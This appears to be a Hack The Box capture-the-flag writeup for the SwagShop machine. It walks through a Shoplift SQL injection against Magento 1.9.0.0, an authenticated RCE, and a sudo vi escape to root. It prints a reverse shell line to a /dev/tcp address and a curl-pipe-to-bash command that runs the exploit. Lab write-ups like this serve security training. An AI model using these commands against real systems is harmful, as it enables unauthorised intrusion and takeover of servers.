writeup 2025-11-15 · 6 min read

Hack The Box SwagShop Writeup (Easy Linux)

Easy Linux box. Magento 1.9.0.0 falls to the Shoplift SQL injection for an admin account, an authenticated RCE gives www-data, and sudo vi gives root.

Hack The Box SwagShop Writeup (Easy Linux)

Summary

SwagShop runs an old Magento storefront on Apache, with a 2014 copyright in the footer and index.php sitting in every route. The Shoplift SQL injection from 2015, SUPEE-5344, inserts a new administrator straight into the database, and a proof of concept fixed up for Python 3 creates an account that logs into /index.php/admin. The panel prints the exact version, Magento CE 1.9.0.0, which matches an authenticated remote code execution exploit that needs the installation date, readable from app/etc/local.xml. Running that exploit to curl and pipe a shell script returns a reverse shell as www-data. That user may run /usr/bin/vi on /var/www/html/* as root with no password, so :!/bin/bash from inside the editor spawns a root shell.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.93 scan initiated Tue Nov 11 15:51:15 2025 as: nmap -A -vv -oN scans/nmap.initial -vv 10.129.229.138
Nmap scan report for 10.129.229.138
Host is up, received conn-refused (0.13s latency).
Scanned at 2025-11-11 15:51:15 -03 for 28s
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6552bd24e8fa3817261379a12f624ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgTCefp89MPJm2oaJqietdslSBur+eCMVQRW19iUL2DQSdZrIctssf/ws4HWN9DuXWB1p7OR9GWQhjeFv+xdb8OLy6EQ72zQOk+cNU9ANi72FZIkpD5A5vHUyhhUSUcnn6hwWMWW4dp6BFVxczAiutSWBVIm2YLmcqwOEOJhfXLVvsVqu8KUmybJQWFaJIeLVHzVgrF1623ekDXMwT7Ktq49RkmqGGE+e4pRy5pWlL2BPVcrSv9nMRDkJTXuoGQ53CRcp9VVi2V7flxTd6547oSPck1N+71Xj/x17sMBDNfwik/Wj3YLjHImAlHNZtSKVUT9Ifqwm973YRV9qtqtGT
|   256 2e30007a92f0893059c17756ad51c0ba (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEG18M3bq7HSiI8XlKW9ptWiwOvrIlftuWzPEmynfU6LN26hP/qMJModcHS+idmLoRmZnC5Og9sj5THIf0ZtxPY=
|   256 4c50d5f270c5fdc4b2f0bc4220326434 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINmmpsnVsVEZ9KB16eRdxpe75vnX8B/AZMmhrN2i4ES7
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
|_http-title: Did not follow redirect to http://swagshop.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 11 15:51:43 2025 -- 1 IP address (1 host up) scanned in 28.66 seconds

Web Server Enumeration

The web server is running “Magento”, which is kind of a CMS like Wordpress but for e-commerce. I can see in the webpage’s footer the copyright notice for the year of 2014, which could indicate that this Magento version is (very) old, from 2014. This immediately makes me look for CVEs and public exploits.

Magento storefront footer carrying a 2014 copyright notice

When investigating the website further, I noticed this strange pattern in the url. It seems like a misconfiguration on the back-end is making it so that “index.php” is shown in every route:

URL pattern showing index.php appearing in every route

This little piece of information is crucial to further steps down the rabbit hole. I use cvedetails to find vulnerabilities for Magento. I locate one vulnerability from 2015 for SQL injection:

CVE Details page listing the 2015 Magento SQL injection

One of the reference links to the vulnerability refers to Magento Shoplift (SUPEE-5344). It seems like the vulnerability allows the attacker to insert data into the database, including adding an admin user to the website. I found multiple exploits for this vulnerability online, including one github repository containing what seems to be the PoC for the vulnerability.

I copy the code, and save it to my machine as “shoplift.py”. I modified the code to point to the machine:

1
2
3
4
5
6
7
8
# imports...

import base64
import sys

target = "http://swagshop.htb/"

# rest of the code

However it did not work at first, specifically because of old python 2 syntax:

1
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

I fix the code by implementing the proper syntax for python3:

1
2
3
4
5
if r.ok:
    print("WORKED")
    print("Check {0}/admin with creds forme:forme".format(target))
else:
    print("DID NOT WORK")

Then error because of encoding:

1
2
3
4
5
6
7
8
9
$ python3 shoplift-unpatched.py http://swagshop.htb/
Traceback (most recent call last):
  File "/home/user/hacking/htb/machines/easy/swagshop/shoplift-unpatched.py", line 32, in <module>
    "filter": base64.b64encode(pfilter),
              ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/base64.py", line 58, in b64encode
    encoded = binascii.b2a_base64(s, newline=False)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: a bytes-like object is required, not 'str'

I just need to encode a specific string variable to bytes:

1
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query).encode()

I notice the script will create a default user with a very weak password. I edit it.

1
query = SQLQUERY.replace("\n", "").format(username="behindsecurity", password="BehindSecurity@2025!")

And then the success message:

1
2
3
4
5
if r.ok:
    print("WORKED")
    print("Check {0}/admin with creds behindsecurity:BehindSecurity@2025!".format(target))
else:
    print("DID NOT WORK")

I run the script, it worked and now I can log in to Magento’s administrative panel at http://swagshop.htb/index.php/admin/:

Magento administrative panel opened with the injected account

At the bottom of the administrative panel, I see the exact version for Magento:

Admin panel footer reporting Magento ver. 1.9.0.0

More specifically:

1
Magento ver. 1.9.0.0

Initial Access - Magento RCE

I run:

1
searchsploit magento

And one of the results include:

1
Magento CE < 1.9.0.1 - (Authenticated) Remote Code | php/webapps/37811.py

This version matches the version we’re currently facing. I grab the exploit script:

1
searchsploit -m php/webapps/37811.py

I open the script with my text editor and notice a peculiar configuration option:

Exploit script configuration block that requires the Magento install date

It seems like I need to discover the exact installation date for this instance of Magento in order for this remote code execution exploit to work. Thankfully the script itself tells me where to look for (http://swagshop.htb/app/etc/local.xml):

app/etc/local.xml exposing the exact installation date

I use the exact date like this:

1
install_date = 'Wed, 08 May 2019 07:23:09 +0000'

I tried this exploit, did change some functions and logic but nothing worked. I searched for a new exploit and found this github repo. Same configuration options:

1
2
3
4
username = 'behindsecurity'    # CHANGE THIS
password = 'BehindSecurity@2025!'    # CHANGE THIS
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'

I get a reverse shell by first creating shell.sh:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

Then starting a python http server:

1
sudo python3 -m http.server 80

And using the exploit:

1
$ python3 magento-rce-exploit.py http://swagshop.htb/index.php/admin 'curl 10.10.14.57/shell.sh|bash'

It connects back to me and now I have a shell in the system as www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc -lvnp 9999 
listening on [any] 9999 ...
connect to [10.10.14.57] from (UNKNOWN) [10.129.229.138] 40702
sh: 0: can't access tty; job control turned off
$ 

$ python3 --version 
Python 3.6.9

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@swagshop:/var/www/html$ export TERM=xterm

www-data@swagshop:/var/www/html$ ^Z
[1]+  Stopped                 nc -lvnp 9999

user@attackbox:~/hacking/htb/machines/easy/swagshop$ stty raw -echo ;fg

www-data@swagshop:/var/www/html$

Vertical Privilege Escalation

The user “www-data” has sudo privileges, specifically to use vi:

1
2
3
4
5
6
7
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

I can abuse this by first getting into vi:

1
sudo /usr/bin/vi /var/www/html/*

And then, when in the vi editor, run:

vi running :!/bin/bash under sudo to spawn a root shell

Specifically:

1
:!/bin/bash

Now i’m root:

1
2
root@swagshop:/var/www/html# id 
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.